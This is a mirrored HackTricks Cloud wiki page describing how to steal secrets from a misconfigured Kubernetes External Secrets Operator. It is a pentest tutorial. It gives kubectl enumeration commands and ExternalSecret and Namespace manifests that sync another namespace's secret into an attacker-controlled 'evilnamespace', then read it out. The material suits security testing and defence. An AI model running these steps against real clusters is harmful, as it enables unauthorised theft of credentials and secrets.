mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-23 15:37:53 -08:00
119 lines
3.3 KiB
Markdown
119 lines
3.3 KiB
Markdown
# External Secret Operator
|
|
|
|
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
|
|
|
This page gives some pointers onto how you can achieve to steal secrets from a misconfigured ESO or application which uses ESO to sync its secrets.
|
|
|
|
## Disclaimer
|
|
|
|
The technique showed below can only work when certain circumstances are met. For instance, it depends on the requirements needed to allow a secret to be synched on a namespace that you own / compromised. You need to figure it out by yourself.
|
|
|
|
## Prerequisites
|
|
|
|
1. A foothold in a kubernetes / openshift cluster with admin privileges on a namespace
|
|
2. Read access on at least ExternalSecret at cluster level
|
|
3. Figure out if there are any required labels / annotations or group membership needed which allows ESO to sync your secret. If you're lucky, you can freely steal any defined secret.
|
|
|
|
### Gathering information about existing ClusterSecretStore
|
|
|
|
Assuming that you have a users which has enough rights to read this resource; start by first listing existing _**ClusterSecretStores**_.
|
|
|
|
```sh
|
|
kubectl get ClusterSecretStore
|
|
```
|
|
|
|
### ExternalSecret enumeration
|
|
|
|
Let's assume you found a ClusterSecretStore named _**mystore**_. Continue by enumerating its associated externalsecret.
|
|
|
|
```sh
|
|
kubectl get externalsecret -A | grep mystore
|
|
```
|
|
|
|
_This resource is namespace scoped so unless you already know which namespace to look for, add the -A option to look across all namespaces._
|
|
|
|
|
|
|
|
You should get a list of defined externalsecret. Let's assume you found an externalsecret object called _**mysecret**_ defined and used by namespace _**mynamespace**_. Gather a bit more information about what kind of secret it holds.
|
|
|
|
```sh
|
|
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
|
|
```
|
|
|
|
### Assembling the pieces
|
|
|
|
From here you can get the name of one or multiple secret names (such as defined in the Secret resource). You will an output similar to:
|
|
|
|
```yaml
|
|
kind: ExternalSecret
|
|
metadata:
|
|
annotations:
|
|
...
|
|
labels:
|
|
...
|
|
spec:
|
|
data:
|
|
- remoteRef:
|
|
conversionStrategy: Default
|
|
decodingStrategy: None
|
|
key: SECRET_KEY
|
|
secretKey: SOME_PASSWORD
|
|
...
|
|
```
|
|
|
|
So far we got:
|
|
|
|
* Name a ClusterSecretStore
|
|
* Name of an ExternalSecret
|
|
* Name of the secret
|
|
|
|
Now that we have everything we need, you can create an ExternalSecret (and eventually patch/create a new Namespace to comply with prerequisites needed to get your new secret synced ):
|
|
|
|
```yaml
|
|
kind: ExternalSecret
|
|
metadata:
|
|
name: myexternalsecret
|
|
namespace: evilnamespace
|
|
spec:
|
|
data:
|
|
- remoteRef:
|
|
conversionStrategy: Default
|
|
decodingStrategy: None
|
|
key: SECRET_KEY
|
|
secretKey: SOME_PASSWORD
|
|
refreshInterval: 30s
|
|
secretStoreRef:
|
|
kind: ClusterSecretStore
|
|
name: mystore
|
|
target:
|
|
creationPolicy: Owner
|
|
deletionPolicy: Retain
|
|
name: leaked_secret
|
|
```
|
|
|
|
```yaml
|
|
kind: Namespace
|
|
metadata:
|
|
annotations:
|
|
required_annotation: value
|
|
other_required_annotation: other_value
|
|
labels:
|
|
required_label: somevalue
|
|
other_required_label: someothervalue
|
|
name: evilnamespace
|
|
```
|
|
|
|
After a few mins, if sync conditions were met, you should be able to view the leaked secret inside your namespace
|
|
|
|
```sh
|
|
kubectl get secret leaked_secret -o yaml
|
|
```
|
|
|
|
|
|
|
|
## References
|
|
|
|
{% embed url="https://external-secrets.io/latest/" %}
|
|
|
|
{% embed url="https://github.com/external-secrets/external-secrets" %}
|